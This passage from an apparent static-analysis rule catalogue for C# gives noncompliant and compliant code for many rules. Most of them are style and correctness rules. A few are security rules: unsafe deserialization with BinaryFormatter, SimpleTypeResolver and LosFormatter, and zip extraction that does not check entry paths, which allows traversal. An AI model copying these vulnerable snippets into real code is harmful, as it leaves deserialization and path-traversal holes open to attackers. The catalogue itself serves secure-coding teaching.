var myBinaryFormatter = new BinaryFormatter();
myBinaryFormatter.Deserialize(stream); // Noncompliant: a binder is not used to limit types during deserialization

JavaScriptSerializer should not use SimpleTypeResolver or other weak resolvers:

JavaScriptSerializer serializer1 = new JavaScriptSerializer(new SimpleTypeResolver()); // Noncompliant: SimpleTypeResolver is unsecure (every types is resolved)
serializer1.Deserialize<ExpectedType>(json);

LosFormatter should not be used without MAC verification:

LosFormatter formatter = new LosFormatter(); // Noncompliant
formatter.Deserialize(fs);

Compliant Solution

BinaryFormatter, NetDataContractSerializer , SoapFormatter serializers should use a binder implementing a whitelist approach to limit types during deserialization (at least one exception should be thrown or a null value returned):

sealed class CustomBinder : SerializationBinder
{
   public override Type BindToType(string assemblyName, string typeName)
   {
       if (!(typeName == "type1" || typeName == "type2" || typeName == "type3"))
       {
          throw new SerializationException("Only type1, type2 and type3 are allowed"); // Compliant
       }
       return Assembly.Load(assemblyName).GetType(typeName);
   }
}

var myBinaryFormatter = new BinaryFormatter();
myBinaryFormatter.Binder = new CustomBinder();
myBinaryFormatter.Deserialize(stream);

JavaScriptSerializer should use a resolver implementing a whitelist to limit types during deserialization (at least one exception should be thrown or a null value returned):

public class CustomSafeTypeResolver : JavaScriptTypeResolver
{
   public override Type ResolveType(string id)
   {
      if(id != "ExpectedType") {
         throw new ArgumentNullException("Only ExpectedType is allowed during deserialization"); // Compliant
      }
      return Type.GetType(id);
   }
}

JavaScriptSerializer serializer = new JavaScriptSerializer(new CustomSafeTypeResolver()); // Compliant
serializer.Deserialize<ExpectedType>(json);

LosFormatter serializer with MAC verification:

LosFormatter formatter = new LosFormatter(true, secret); // Compliant
formatter.Deserialize(fs);

See

csharpsquid:S2386

public static mutable fields of classes which are accessed directly should be protected to the degree possible. This can be done by reducing the accessibility of the field or by changing the return type to an immutable type.

This rule raises issues for public static fields with a type inheriting/implementing System.Array or System.Collections.Generic.ICollection<T>.

Noncompliant Code Example

public class A
{
  public static string[] strings1 = {"first","second"};  // Noncompliant
  public static List<String> strings3 = new List<String>();  // Noncompliant
  // ...
}

Compliant Solution

public class A
{
  protected static string[] strings1 = {"first","second"};
  protected static List<String> strings3 = new List<String>();
  // ...
}

Exceptions

No issue is reported:

  • If the type of the field inherits/implements one (at least) of the following types:
    • System.Collections.ObjectModel.ReadOnlyCollection<T>
    • System.Collections.ObjectModel.ReadOnlyDictionary<TKey, TValue>
    • System.Collections.Immutable.IImmutableArray<T>
    • System.Collections.Immutable.IImmutableDictionary<TKey, TValue>
    • System.Collections.Immutable.IImmutableList<T>
    • System.Collections.Immutable.IImmutableSet<T>
    • System.Collections.Immutable.IImmutableStack<T>
    • System.Collections.Immutable.IImmutableQueue<T>
  • If the field is readonly and is initialized inline with an immutable type (i.e. inherits/implements one of the types in the previous list) or null.

See

csharpsquid:S4200

Native methods are functions that reside in libraries outside the virtual machine. Being able to call them is useful for interoperability with applications and libraries written in other programming languages, in particular when performing platform-specific operations. However doing so comes with extra risks since it means stepping out of the security model of the virtual machine. It is therefore highly recommended to take extra steps, like input validation, when invoking native methods. This is best done by making the native method private and by providing a wrapper that performs these extra steps and verifications.

This rule raises an issue when a native method is declared public or its wrapper is too trivial.

Noncompliant Code Example

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
  class Foo
  {
    [DllImport("mynativelib")]
    extern public static void Bar(string s, int x); // Noncompliant
  }
}

Compliant Solution

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
  class Foo
  {
    [DllImport("mynativelib")]
    extern private static void Bar(string s, int x);

    public void BarWrapper(string s, int x)
    {
      if (s != null && x >= 0  && x < s.Length)
      {
        bar(s, x);
      }
    }
  }
}
csharpsquid:S3236

Caller information attributes: CallerFilePathAttribute and CallerLineNumberAttribute provide a way to get information about the caller of a method through optional parameters. But the arguments for these optional parameters are only generated if they are not explicitly defined in the call. Thus, specifying the argument values defeats the purpose of the attributes.

Noncompliant Code Example

void TraceMessage(string message,
  [CallerFilePath] string filePath = null,
  [CallerLineNumber] int lineNumber = 0)
{
  /* ... */
}

void MyMethod()
{
  TraceMessage("my message", "A.B.C.Foo.cs", 42); // Noncompliant
}

Compliant Solution

void TraceMessage(string message,
  [CallerFilePath] string filePath = "",
  [CallerLineNumber] int lineNumber = 0)
{
  /* ... */
}

void MyMethod()
{
  TraceMessage("my message");
}

Exceptions

CallerMemberName is not checked to avoid False-Positives with WPF/UWP applications.

csharpsquid:S3235

Redundant parentheses are simply wasted keystrokes, and should be removed.

Noncompliant Code Example

[MyAttribute()] //Noncompliant
class MyClass
{
  public int MyProperty { get; set; }
  public static MyClass CreateNew(int propertyValue)
  {
    return new MyClass() //Noncompliant
    {
      MyProperty = propertyValue
    };
  }
}

Compliant Solution

[MyAttribute]
class MyClass
{
  public int MyProperty { get; set; }
  public static MyClass CreateNew(int propertyValue)
  {
    return new MyClass
    {
      MyProperty = propertyValue
    };
  }
}
csharpsquid:S3598

When declaring a Windows Communication Foundation (WCF) OperationContract method one-way, that service method won't return any result, not even an underlying empty confirmation message. These are fire-and-forget methods that are useful in event-like communication. Specifying a return type therefore does not make sense.

Noncompliant Code Example

[ServiceContract]
interface IMyService
{
  [OperationContract(IsOneWay = true)]
  int SomethingHappened(int parameter); // Noncompliant
}

Compliant Solution

[ServiceContract]
interface IMyService
{
  [OperationContract(IsOneWay = true)]
  void SomethingHappened(int parameter);
}

Exceptions

The rule doesn't report if OperationContractAttribute.AsyncPattern is set to true.

csharpsquid:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

public string GetReadableStatus(Job j)
{
  return j.IsRunning ? "Running" : j.HasErrors ? "Failed" : "Succeeded";  // Noncompliant
}

Compliant Solution

public string GetReadableStatus(Job j)
{
  if (j.IsRunning)
  {
    return "Running";
  }
  return j.HasErrors ? "Failed" : "Succeeded";
}
csharpsquid:S2148

Beginning with C# 7, it is possible to add underscores ('_') to numeric literals to enhance readability. The addition of underscores in this manner has no semantic meaning, but makes it easier for maintainers to understand the code.

The number of digits to the left of a decimal point needed to trigger this rule varies by base.

Base Minimum digits
binary 9
decimal 6
hexadecimal 9

It is only the presence of underscores, not their spacing that is scrutinized by this rule.

Note that this rule is automatically disabled when the project's C# version is lower than 7.

Noncompliant Code Example

int i = 10000000;  // Noncompliant; is this 10 million or 100 million?
int  j = 0b01101001010011011110010101011110;  // Noncompliant
long l = 0x7fffffffffffffffL;  // Noncompliant

Compliant Solution

int i = 10_000_000;
int  j = 0b01101001_01001101_11100101_01011110;
long l = 0x7fff_ffff_ffff_ffffL;
csharpsquid:S3237

In property and indexer set methods, and in event add and remove methods, the implicit value parameter holds the value the accessor was called with. Not using the value means that the accessor ignores the caller's intent which could cause unexpected results at runtime.

Noncompliant Code Example

private int count;
public int Count
{
  get { return count; }
  set { count = 42; } // Noncompliant
}

Compliant Solution

private int count;
public int Count
{
  get { return count; }
  set { count = value; }
}

or

public int Count
{
  get { return count; }
  set { throw new InvalidOperationException(); }
}

Exceptions

This rule doesn't raise an issue when the setter is empty and part of the implementation of an interface . The assumption is that this part of the interface is not meaningful to that particular implementation. A good example of that would be a "sink" logger that discards any logs.

csharpsquid:S4070

This rule raises an issue when an externally visible enumeration is marked with FlagsAttribute and one, or more, of its values is not a power of 2 or a combination of the other defined values.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    [FlagsAttribute]
    public enum Color // Noncompliant, Orange is neither a power of two, nor a combination of any of the defined values
    {
        None    = 0,
        Red     = 1,
        Orange  = 3,
        Yellow  = 4
    }
}

Compliant Solution

using System;

namespace MyLibrary
{
    public enum Color // Compliant - no FlagsAttribute attribute
    {
        None = 0,
        Red = 1,
        Orange = 3,
        Yellow = 4
    }

    [FlagsAttribute]
    public enum Days
    {
        None = 0,
        Monday = 1,
        Tuesday = 2,
        Wednesday = 4,
        Thursday = 8,
        Friday = 16,
        All = Monday| Tuesday | Wednesday | Thursday | Friday    // Compliant - combination of other values
    }
}
csharpsquid:S5042

Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities:

Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable.

This rule raises an issue when code handle archives. The goal is to guide security code reviews.

Ask Yourself Whether

  • there is no validation of the name of the archive entry
  • there is no validation of the effective path where the archive entry is going to be expanded
  • there is no validation of the size of the expanded archive entry
  • there is no validation of the ratio between the compressed and uncompressed archive entry

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Validate the full path of the extracted file against the full path of the directory where files are expanded:

  • the canonical path of the expanded file must start with the canonical path of the directory where files are extracted.
  • the name of the archive entry must not contain "..", i.e. reference to a parent directory.

Stop extracting the archive if any of its entries has been tainted with a directory traversal path.

Define and control the ratio between compressed and uncompress bytes.

Define and control the maximum allowed expanded file size.

Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold.

Sensitive Code Example

foreach (ZipArchiveEntry entry in archive.Entries)
{
    //  entry.FullName could contain parent directory references ".." and the destinationPath variable could become outside of the desired path
    string destinationPath = Path.GetFullPath(Path.Combine(path, entry.FullName));

    entry.ExtractToFile(destinationPath); // Sensitive, extracts the entry in a file

    Stream stream;
    stream = entry.Open(); // Sensitive, the entry is about to be extracted
}

See

csharpsquid:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

public int NumberOfMinutes(int hours)
{
  int seconds = 0;   // seconds is never used
  return hours * 60;
}

Compliant Solution

public int NumberOfMinutes(int hours)
{
  return hours * 60;
}

Exceptions

Unused locally created resources in a using statement are not reported.

using(var t = new TestTimer()) // t never used, but compliant.
{
  //...
}
csharpsquid:S3427

The rules for method resolution are complex and perhaps not properly understood by all coders. Having overloads with optional parameter values makes the matter even harder to understand.

This rule raises an issue when an overload with default parameter values is hidden by one without the optional parameters.

Noncompliant Code Example

public class MyClass
{
  void Print(string[] messages) {...}
  void Print(string[] messages, string delimiter = "\n") {...} // Noncompliant; default parameter value is hidden by overload
}

// ...
MyClass myClass = new MyClass();

myClass.Print(new string[3] {"yes", "no", "maybe"});  // which version of Print will be called?
csharpsquid:S1006

Default arguments are determined by the static type of the object. If a default argument is different for a parameter in an overriding method, the value used in the call will be different when calls are made via the base or derived object, which may be contrary to developer expectations.

Default parameter values are useless in explicit interface implementations, because the static type of the object will always be the implemented interface. Thus, specifying default values is useless and confusing.

Noncompliant Code Example

using System;

public class Base
{
    public virtual void Write(int i = 42)
    {
        Console.WriteLine(i);
    }
}

public class Derived : Base
{
    public override void Write(int i = 5) // Noncompliant
    {
        Console.WriteLine(i);
    }
}

public class Program
{
    public static void Main()
    {
        var derived = new Derived();
        derived.Write(); // writes 5
        Print(derived); // writes 42; was that expected?
    }

    private static void Print(Base item)
    {
        item.Write();
    }
}

Compliant Solution

using System;

public class Base
{
    public virtual void Write(int i = 42)
    {
        Console.WriteLine(i);
    }
}

public class Derived : Base
{
    public override void Write(int i = 42)
    {
        Console.WriteLine(i);
    }
}

public class Program
{
    public static void Main()
    {
        var derived = new Derived();
        derived.Write(); // writes 42
        Print(derived);  // writes 42
    }

    private static void Print(Base item)
    {
        item.Write();
    }
}

See

  • MISRA C++ 2008, 8-3-1 - Parameters in a overriding virtual function shall either use the same default arguments as the function they override, or else shall not specify any default arguments.
csharpsquid:S1128

Although unnecessary using won't change anything to the produced application, removing them:

  • Will help readability and maintenance.
  • Will help reduce the number of items in the IDE auto-completion list when coding.
  • May avoid some name collisions.
  • May improve compilation time because the compiler has fewer namespaces to look-up when it resolves types.
  • The build will fail if this namespace is removed from the project.

Noncompliant Code Example

using System.Collections.Generic; // Noncompliant - unnecessary using

namespace Foo
{
    public class Bar
    {
        public Bar(string path)
        {
            File.ReadAllLines(path);
        }
    }
}

Compliant Solution

using System.IO;

namespace Foo
{
    public class Bar
    {
        public Bar(string path)
        {
            File.ReadAllLines(path);
        }
    }
}
csharpsquid:S2219

To check the type of an object there are several options:

  • expr is SomeType or expr.GetType() == typeof(SomeType) if the type is known at compile time,
  • typeInstance.IsInstanceOfType(expr) if the type is calculated during runtime.

If runtime calculated Types need to be compared:

  • typeInstance1.IsAssignableFrom(typeInstance2).

Depending on whether the type is returned by a GetType() or typeof() call, the IsAssignableFrom() and IsInstanceOfType() might be simplified. Similarly, if the type is sealed, the type comparison with == can be converted to an is call. Simplifying the calls also make null checking unnecessary because both is and IsInstanceOfType performs it already.

Finally, utilizing the most concise language constructs for type checking makes the code more readable, so

  • expr as T != null checks should be simplified to expr is T, and
  • expr is T should be converted to expr != null, when expr is of type T.

Noncompliant Code Example

class Fruit { }
sealed class Apple : Fruit { }

class Program
{
  static void Main()
  {
    var apple = new Apple();
    var b = apple != null && apple.GetType() == typeof (Apple); // Noncompliant
    b = typeof(Apple).IsInstanceOfType(apple); // Noncompliant
    if (apple != null)
    {
      b = typeof(Apple).IsAssignableFrom(apple.GetType()); // Noncompliant
    }
    var appleType = typeof (Apple);
    if (apple != null)
    {
      b = appleType.IsAssignableFrom(apple.GetType()); // Noncompliant
    }

    Fruit f = apple;
    if (f as Apple != null) // Noncompliant
    {
    }
    if (apple is Apple) // Noncompliant
    {
    }
  }
}

Compliant Solution

class Fruit { }
sealed class Apple : Fruit { }

class Program
{
  static void Main()
  {
    var apple = new Apple();
    var b = apple is Apple;
    b = apple is Apple;
    b = apple is Apple;
    var appleType = typeof(Apple);
    b = appleType.IsInstanceOfType(apple);

    Fruit f = apple;
    if (f is Apple)
    {
    }
    if (apple != null)
    {
    }
  }
}

Exceptions

Calling GetType on an object of Nullable<T> type returns the underlying generic type parameter T, thus a comparison with typeof(Nullable<T>) can't be simplified to use the is operator, which doesn't make difference between T and T?.

int? i = 42;
bool condition = i.GetType() == typeof(int?); // false;
condition = i is int?; // true

No issue is reported on the following expressions:

  • expr is T when either operand of the is operator is a value type. In that case CS0183 or CS0184 reports
  • expr is object, as this is a common and efficient pattern to do null checks
csharpsquid:S2339

Constant members are copied at compile time to the call sites, instead of being fetched at runtime.

As an example, say you have a library with a constant Version member set to 1.0, and a client application linked to it. This library is then updated and Version is set to 2.0. Unfortunately, even after the old DLL is replaced by the new one, Version will still be 1.0 for the client application. In order to see 2.0, the client application would need to be rebuilt against the new version of the library.

This means that you should use constants to hold values that by definition will never change, such as Zero. In practice, those cases are uncommon, and therefore it is generally better to avoid constant members.

This rule only reports issues on public constant fields, which can be reached from outside the defining assembly.

Noncompliant Code Example

public class Foo
{
    public const double Version = 1.0;           // Noncompliant
}

Compliant Solution

public class Foo
{
    public static double Version
    {
      get { return 1.0; }
    }
}
csharpsquid:S2330

Array covariance is the principle that if an implicit or explicit reference conversion exits from type A to B, then the same conversion exists from the array type A[] to B[].

While this array conversion can be useful in readonly situations to pass instances of A[] where B[] is expected, it must be used with care, since assigning an instance of B into an array of A will cause an ArrayTypeMismatchException to be thrown at runtime.

Noncompliant Code Example

abstract class Fruit { }
class Apple : Fruit { }
class Orange : Fruit { }

class Program
{
  static void Main(string[] args)
  {
    Fruit[] fruits = new Apple[1]; // Noncompliant - array covariance is used
    FillWithOranges(fruits);
  }

  // Just looking at the code doesn't reveal anything suspicious
  static void FillWithOranges(Fruit[] fruits)
  {
    for (int i = 0; i < fruits.Length; i++)
    {
      fruits[i] = new Orange(); // Will throw an ArrayTypeMismatchException
    }
  }
}

Compliant Solution

abstract class Fruit { }
class Apple : Fruit { }
class Orange : Fruit { }

class Program
{
  static void Main(string[] args)
  {
    Orange[] fruits = new Orange[1]; // Compliant
    FillWithOranges(fruits);
  }

  static void FillWithOranges(Orange[] fruits)
  {
    for (int i = 0; i < fruits.Length; i++)
    {
      fruits[i] = new Orange();
    }
  }
}
csharpsquid:S2692

Most checks against an IndexOf value compare it with -1 because 0 is a valid index. Any checks which look for values >0 ignore the first element, which is likely a bug. If the intent is merely to check inclusion of a value in a string, List, or an array, consider using the Contains method instead.

This rule raises an issue when an IndexOf value retrieved from a string, List, or array is tested against >0.

Noncompliant Code Example

string color = "blue";
string name = "ishmael";

List<string> strings = new List<string>();
strings.Add(color);
strings.Add(name);
string[] stringArray = strings.ToArray();

if (strings.IndexOf(color) > 0) // Noncompliant
{
  // ...
}
if (name.IndexOf("ish") > 0) // Noncompliant
{
  // ...
}
if (name.IndexOf("ae") > 0) // Noncompliant
{
  // ...
}
if (Array.IndexOf(stringArray, color) > 0) // Noncompliant
{
  // ...
}

Compliant Solution

string color = "blue";
string name = "ishmael";

List<string> strings = new List<string> ();
strings.Add(color);
strings.Add(name);
string[] stringArray = strings.ToArray();

if (strings.IndexOf(color) > -1)
{
  // ...
}
if (name.IndexOf("ish") >= 0)
{
  // ...
}
if (name.Contains("ae"))
{
  // ...
}
if (Array.IndexOf(stringArray, color) >= 0)
{
  // ...
}
csharpsquid:S1121

Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects.

Noncompliant Code Example

if (string.IsNullOrEmpty(result = str.Substring(index, length))) // Noncompliant
{
  //...
}

Compliant Solution

var result = str.Substring(index, length);
if (string.IsNullOrEmpty(result))
{
  //...
}

Exceptions

Assignments inside lambda and delegate expressions are allowed.

Furthermore, the following patterns are also accepted:

var a = b = c = 10;
while ((val = GetNewValue()) > 0)
{
...
}
private MyClass instance;
public MyClass Instance
{
  get
  {
    return instance ?? (instance = new MyClass());
  }
}

See

csharpsquid:S1244

Floating point math is imprecise because of the challenges of storing such values in a binary representation. Even worse, floating point math is not associative; push a float or a double through a series of simple mathematical operations and the answer will be different based on the order of those operation because of the rounding that takes place at each step.

Even simple floating point assignments are not simple:

float f = 0.100000001f; // 0.1
double d = 0.10000000000000001; // 0.1

(Results will vary based on compiler and compiler settings)

Therefore, the use of the equality (==) and inequality (!=) operators on float or double values is almost always an error.

This rule checks for the use of direct and indirect equality/inequality tests on floats and doubles.

Noncompliant Code Example

float myNumber = 3.146f;
if ( myNumber == 3.146f ) //Noncompliant. Because of floating point imprecision, this will be false
{
  // ...
}

if (myNumber <= 3.146f && mNumber >= 3.146f) // Noncompliant indirect equality test
{
  // ...
}

if (myNumber < 4 || myNumber > 4) // Noncompliant indirect inequality test
{
  // ...
}
csharpsquid:S1123

The Obsolete attribute can be applied with or without arguments, but marking something Obsolete without including advice as to why it's obsolete or on what to use instead will lead maintainers to waste time trying to figure those things out - every single time the warning is encountered.

Noncompliant Code Example

public class Car
{

  [Obsolete]  // Noncompliant
  public void CrankEngine(int turnsOfCrank)
  { ... }
}

Compliant Solution

public class Car
{

  [Obsolete("Replaced by the automatic starter")]
  public void CrankEngine(int turnsOfCrank)
  { ... }
}
csharpsquid:S2333

Unnecessary keywords simply clutter the code and should be removed. Specifically:

  • partial on type declarations that are completely defined in one place
  • sealed on members of sealed classes
  • unsafe method or block inside construct already marked with unsafe, or when there are no unsafe constructs in the block
  • checked and unchecked blocks with no integral-type arithmetic operations

Noncompliant Code Example

public partial class MyClass // Noncompliant
{
  public virtual void Method()
  {
  }
}

public sealed class MyOtherClass : MyClass
{
  public sealed override void Method() // Noncompliant
  {
  }
}

Compliant Solution

public class MyClass
{
  public virtual void Method()
  {
  }
}

public sealed class MyOtherClass : MyClass
{
  public override void Method()
  {
  }
}
csharpsquid:S2696

Correctly updating a static field from a non-static method is tricky to get right and could easily lead to bugs if there are multiple class instances and/or multiple threads in play.

This rule raises an issue each time a static field is updated from a non-static method or property.

Noncompliant Code Example

public class MyClass
{
  private static int count = 0;

  public void DoSomething()
  {
    //...
    count++;  // Noncompliant
  }
}
csharpsquid:S4635

Looking for a given substring starting from a specified offset can be achieved by such code: str.Substring(startIndex).IndexOf(char1). This works well, but it creates a new string for each call to the Substring method. When this is done in a loop, a lot of strings are created for nothing, which can lead to performance problems if str is large.

To avoid performance problems, string.Substring(startIndex) should not be chained with the following methods:

- IndexOf

- IndexOfAny

- LastIndexOf

- LastIndexOfAny

For each of these methods, another method with an additional parameter is available to specify an offset.

Using these methods gives the same result while avoiding the creation of additional String instances.

Noncompliant Code Example

str.Substring(StartIndex).IndexOf(char1); // Noncompliant; a new string is going to be created by "Substring"

Compliant Solution

str.IndexOf(char1, startIndex);
csharpsquid:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if (booleanMethod() == true) { /* ... */ }
if (booleanMethod() == false) { /* ... */ }
if (booleanMethod() || false) { /* ... */ }
doSomething(!false);
doSomething(booleanMethod() == true);

booleanVariable = booleanMethod() ? true : false;
booleanVariable = booleanMethod() ? true : exp;
booleanVariable = booleanMethod() ? false : exp;
booleanVariable = booleanMethod() ? exp : true;
booleanVariable = booleanMethod() ? exp : false;

for (var x = 0; true; x++)
{
 ...
}

Compliant Solution

if (booleanMethod()) { /* ... */ }
if (!booleanMethod()) { /* ... */ }
if (booleanMethod()) { /* ... */ }
doSomething(true);
doSomething(booleanMethod());

booleanVariable = booleanMethod();
booleanVariable = booleanMethod() || exp;
booleanVariable = !booleanMethod() && exp;
booleanVariable = !booleanMethod() || exp;
booleanVariable = booleanMethod() && exp;

for (var x = 0; ; x++)
{
 ...
}
csharpsquid:S2699

A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test.

This rule raises an exception when no assertions from any of the following frameworks are found in a test:

  • MSTest
  • NUnit
  • XUnit
  • FluentAssertions (4.x and 5.x)
  • NSubstitute

Noncompliant Code Example

[TestMethod]
public void MyMethod_WhenSomething_ExpectsSomething()
{
    var myClass = new Class();
    var result = myClass.GetFoo();
}

Compliant Solution

[TestMethod]
public void MyMethod_WhenSomething_ExpectsSomething()
{
    var myClass = new Class();
    var result = myClass.GetFoo();
    Assert.IsTrue(result);
}

Exceptions

To create a custom assertion method declare an attribute with name AssertionMethodAttribute and mark the method with it:

using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;

[TestClass]
public class CustomTest
{
    [TestMethod]
    public void TestMethod1() => Validator.CustomMethod(42);    // Compliant
}

public static class Validator
{
    [AssertionMethod]
    public static void CustomMethod(int value) { }
}

public class AssertionMethodAttribute : Attribute { }
csharpsquid:S4060

The .NET framework class library provides methods for retrieving custom attributes. Sealing the attribute eliminates the search through the inheritance hierarchy, and can improve performance.

This rule raises an issue when a public type inherits from System.Attribute, is not abstract, and is not sealed.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    [AttributeUsage(AttributeTargets.Class|AttributeTargets.Struct)]
    public class MyAttribute: Attribute // Noncompliant
    {
        private string nameValue;
        public MyAttribute(string name)
        {
            nameValue = name;
        }

        public string Name
        {
            get
            {
                return nameValue;
            }
        }
    }
}

Compliant Solution

using System;

namespace MyLibrary
{
    [AttributeUsage(AttributeTargets.Class|AttributeTargets.Struct)]
    public sealed class MyAttribute: Attribute
    {
        private string nameValue;
        public MyAttribute(string name)
        {
            nameValue = name;
        }

        public string Name
        {
            get
            {
                return nameValue;
            }
        }
    }
}
csharpsquid:S4061

A method using the VarArgs calling convention is not Common Language Specification (CLS) compliant and might not be accessible across programming languages, while the params keyword works the same way and is CLS compliant.

This rule raises an issue when a public or protected type contains a public or protected method that uses the VarArgs calling convention.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public class Foo
    {
        public void Bar(__arglist) // Noncompliant
        {
            ArgIterator argumentIterator = new ArgIterator(__arglist);
            for(int i = 0; i < argumentIterator.GetRemainingCount(); i++)
            {
                Console.WriteLine(
                    __refvalue(argumentIterator.GetNextArg(), string));
            }
        }
    }
}

Compliant Solution

using System;

[assembly: CLSCompliant(true)]
namespace MyLibrary
{
    public class Foo
    {
        public void Bar(params string[] wordList)
        {
            for(int i = 0; i < wordList.Length; i++)
            {
                Console.WriteLine(wordList[i]);
            }
        }
    }
}

Exceptions

Interop methods using VarArgs calling convention do not raise an issue.

[DllImport("msvcrt40.dll")]
public static extern int printf(string format, __arglist); // Compliant
csharpsquid:S5034

ValueTask<TResult> was introduced in .NET Core 2.0 to optimize memory allocation when functions return their results synchronously.

ValueTask and ValueTask<TResult> should never be used in the following ways as it could result in a race condition:

  • Calling await multiple times on a ValueTask / ValueTask<TResult>*. The wrapped object may have been reused by another operation. This differs from Task / Task<TResult>, on which you can await multiple times and always get the same result.
  • Calling await concurrently on a ValueTask / ValueTask<TResult>*. The underlying object is not thread safe. What's more, it has the same effect as awaiting multiple times a ValueTask / ValueTask<TResult>. This again differs from Task / Task<TResult>, which support concurrent await.
  • Using .Result or .GetAwaiter().GetResult() without checking if the operation completed*. IValueTaskSource / IValueTaskSource<TResult> implementations are not required to block until the operation completes. On the other hand, Task / Task<TResult> blocks the call until the task completes.

It is recommended to use ValueTask / ValueTask<TResult> either by calling "await" on the function returning it, optionally calling ConfigureAwait(false) on it, or by calling .AsTask() on it.

This rule raises an issue when the following operations are performed on a ValueTask / ValueTask<TResult> instance:

  • Awaiting the instance multiple times.
  • Calling AsTask multiple times.
  • Using .Result or .GetAwaiter().GetResult() multiple times
  • Using .Result or .GetAwaiter().GetResult() when the operation has not yet completed
  • Using more than one of these ways to consume the instance.

Noncompliant Code Example

ValueTask<int> vt = SomeValueTaskReturningMethodAsync();
int result = await vt;
int result2 = await vt; // Noncompliant, variable is awaited multiple times

int value = SomeValueTaskReturningMethodAsync().GetAwaiter().GetResult(); // Noncompliant, uses GetAwaiter().GetResult() when it's not known to be done

Compliant Solution

int result = await SomeValueTaskReturningMethodAsync();

int result = await SomeValueTaskReturningMethodAsync().ConfigureAwait(false);

Task<int> t = SomeValueTaskReturningMethodAsync().AsTask();

Exceptions

This rule does not raise any issue when a ValueTask / ValueTask<TResult> is awaited multiple time in a loop.

See

csharpsquid:S1905

Unnecessary casting expressions make the code harder to read and understand.

Noncompliant Code Example

public int Example(int i)
{
    return (int) (i + 42); // Noncompliant
}

public IEnumerable<int> ExampleCollection(IEnumerable<int> coll)
{
    return coll.Reverse().OfType<int>(); // Noncompliant
}

Compliant Solution

public int Example(int i)
{
    return i + 42;
}

public IEnumerable<int> ExampleCollection(IEnumerable<int> coll)
{
    return coll.Reverse();
}

Exceptions

Issues are not raised against C# 7.1 `default` literal.

bool b = (bool)default; // Doesn't raise an issue
csharpsquid:S1116

Empty statements, i.e. ;, are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.

Noncompliant Code Example

void DoSomething()
{
    ; // Noncompliant - was used as a kind of TODO marker
}

void DoSomethingElse()
{
    Console.WriteLine("Hello, world!");;  // Noncompliant - double ;
    // ...
    // Rarely, they are used on purpose as the body of a loop. It is a bad practice to
    // have side-effects outside of the loop:
    for (int i = 0; i < 3; Console.WriteLine(i), i++); // Noncompliant
    // ...
}

Compliant Solution

void DoSomething()
{
}

void DoSomethingElse()
{
    Console.WriteLine("Hello, world!");
    // ...
    for (int i = 0; i < 3; i++)
    {
        Console.WriteLine(i);
     }
    // ...
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
csharpsquid:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A Dictionary should be used instead to make the code more readable and maintainable.

Noncompliant Code Example

With a "Maximum number of case" set to 4

public class TooManyCase
{
    public int switchCase(char ch)
    {
        switch(ch) {  // Noncompliant
            case 'a':
                return 1;
            case 'b':
            case 'c':
                return 2;
            case 'd':
                return 3;
            case 'e':
                return 4;
            case 'f':
            case 'g':
            case 'h':
                return 5;
            default:
                return 6;
        }
    }
}

Compliant Solution

using System.Collections.Generic;

public class TooManyCase
{
    Dictionary<char, int> matching = new Dictionary<char, int>()
    {
        {'a', 1}, {'b', 2}, {'c', 2}, {'d', 3},
        {'e', 4}, {'f', 5}, {'g', 5}, {'h', 5}
    };

    public int withDictionary(char ch)
    {
        int value;
        if (this.matching.TryGetValue(ch, out value)) {
            return value;
        } else {
            return 6;
        }
    }
}

Exceptions

This rule ignores switches over Enums and empty, fall-through cases.

csharpsquid:S2327

When multiple, adjacent try statements have duplicate catch and/or finally blocks, they should be merged to consolidate the catch/finally logic for cleaner, more readable code. Note that this applies even when there is intervening code outside any try block.

Noncompliant Code Example

try
{
  DoTheFirstThing(a, b);
}
catch (InvalidOperationException ex)
{
  HandleException(ex);
}

DoSomeOtherStuff();

try  // Noncompliant; catch is identical to previous
{
  DoTheSecondThing();
}
catch (InvalidOperationException ex)
{
  HandleException(ex);
}

try  // Compliant; catch handles exception differently
{
  DoTheThirdThing(a);
}
catch (InvalidOperationException ex)
{
  LogAndDie(ex);
}

Compliant Solution

try
{
  DoTheFirstThing(a, b);
  DoSomeOtherStuff();
  DoTheSecondThing();
}
catch (InvalidOperationException ex)
{
  HandleException(ex);
}

try  // Compliant; catch handles exception differently
{
  DoTheThirdThing(a);
}
catch (InvalidOperationException ex)
{
  LogAndDie(ex);
}
csharpsquid:S3415

The standard assertions library methods such as AreEqual and AreSame in MSTest and NUnit, or Equal and Same in XUnit, expect the first argument to be the expected value and the second argument to be the actual value. Swap them, and your test will still have the same outcome (succeed/fail when it should) but the error messages will be confusing.

This rule raises an issue when the second argument to an assertions library method is a hard-coded value and the first argument is not.

Noncompliant Code Example

